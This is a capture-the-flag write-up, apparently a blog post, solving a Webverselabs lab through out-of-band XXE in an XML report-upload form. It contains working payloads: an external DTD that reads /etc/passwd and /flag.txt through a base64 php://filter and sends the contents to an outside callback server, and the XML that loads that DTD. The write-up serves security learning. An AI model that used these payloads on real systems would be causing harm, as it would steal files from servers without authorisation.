Webverselabs Exfil Challenge XXE
Scenario :
Exfil Analytics processes thousands of reports daily. Their submission pipeline accepts uploads and confirms receipt, but never reveals what happens inside. You’ll need to find another way to see what the server knows.
Solution :
First we navigate the application just like a normal user, we’re trying to explore different endpoints, features, etc .
The dashboard is a static web page that returns an overview on the financial state of the company.
/Reports :
In the report section , we are able to view submitted reports , we also have the possibility to upload a new report :
If we try uploading a new report it just takes us to the Sbumit Report Endpoint .
/Submit Report :
This is where we can upload our reports in an XML format , before digging deeper , we’ll finish exploring the app so that we don’t leave anything behind.
/Integration :
This is just a static page that returns information about the services we can integrate .
/Settings :
And Finally the settings which are not useful to us at all here :)
Now let’s go back to the Report Submition , since it accepts XML files , your first instinct should be to try an XXE, but before we do that we first upload a legit XML file to see how the application behaves :
What fields are returned to us, do we cause an error if we add a field that shouldn’t exist, etc.
I first uploaded this xml file :
1
2
3
4
5
6
7
8
<!DOCTYPE email [
<!ENTITY xxe SYSTEM "test hh">
]>
<root>
<NAME>&xxe;</NAME>
<TYPE>AAAAA</TYPE>
<email>&company;</email>
</root>
Once we submit it , we get this page :
But if we try to view the Reports, it doesn’t show anything .
Whenever we submit the file and the app doesn’t return anything, the only way we can test is via an Out Of Band XXE (OOB) .
Now for this we need an external Server that we control and are able to view different requests made to it .
Usually you would either Burp Collaborator , set up your own PHP Server locally and try to call it , or use Webhook URL , in our case Webverselabs already gives us a dedicated server that we can use for this.
We can view whether or not our XXE worked by checking if we actually get a request back to our server .
I have a detailed section in my web pentesting methodology which i will be following :
1
https://elmehdilaassiri.github.io/posts/web-app-pentesting-methodology/#xxe--out-of-band-
So to explain a bit what we’re going to do , first we will craft an xml file where we will add a new External Entity inside the DTD that we’re going to reference it when parsing the request.
1
2
3
4
+ What's a DTD? It defines the structure of the XML Doc , it can be inside the XML file
or External ( Via SYSTEM or PUBLIC file.dtd )
+ Think of it like Initiating variables , you say company is XXX
== Call &company and it will give it the value XXX .
Now First to test for an OOB XXE , we will need to use SYSTEM to go fetch for external resources , in this case it will be our Server that we’re given by Webverslabs.
Then after that we will check if we find any requests made to that server . Here is the XML code :
1
2
3
4
5
6
7
8
<!DOCTYPE email [
<!ENTITY xxe SYSTEM "http://bbdc2e13-4327-exfil-411e3.interact.webverselabs-pro.com">
]>
<root>
<NAME>&xxe;</NAME>
<TYPE>AAAAA</TYPE>
<email>&company;</email>
</root>
Now we just upload it :
If we check our Server :
We see that we get our callback .
Now we can abuse this to have Data Exfiltration :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
1 / First we create the File :
+ It will consist of 2 parts , the file we want to read and the server to send the output
of what we re reading .
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://bbdc2e13-4327-exfil-411e3.interact.webverselabs-pro.com/?content=%file;'>">
2/ Inject the XML Entity :
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
<!ENTITY % remote SYSTEM "http://bbdc2e13-4327-exfil-411e3.interact.webverselabs-pro.com/__p__/xxe.dtd">
%remote;
%oob;
]>
<root>&content;</root>
The concept here is :
- First our %remote will be parsed and using SYSTEM it will callback our server to search for the xxe.dtd file .
- From there it will parse the %file which will store the content of /etc/passwd in a base64 format .
- Then %oob; is called which expands the %oob entity and declares the &content; general entity, with %file; already substituted inside the URL .
- Then we finally reference the &content; entity and from there it will connect back to our machine and pass the content as a parameter .
- From there we can easily decode the content and get the file .
First let’s host the file :
Now let’s upload the file :
Now back on our Server :
Perfect we get the callback with the content parameter , from there we can just decode it and get the content :
From here we can get the flag the same way , we just specify the file to be /flag.txt instead of the passwd file .
1
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/flag.txt">
Now we just upload it and check the server :
Now we just decode it :
That was all for this challenge , See you in the next one :)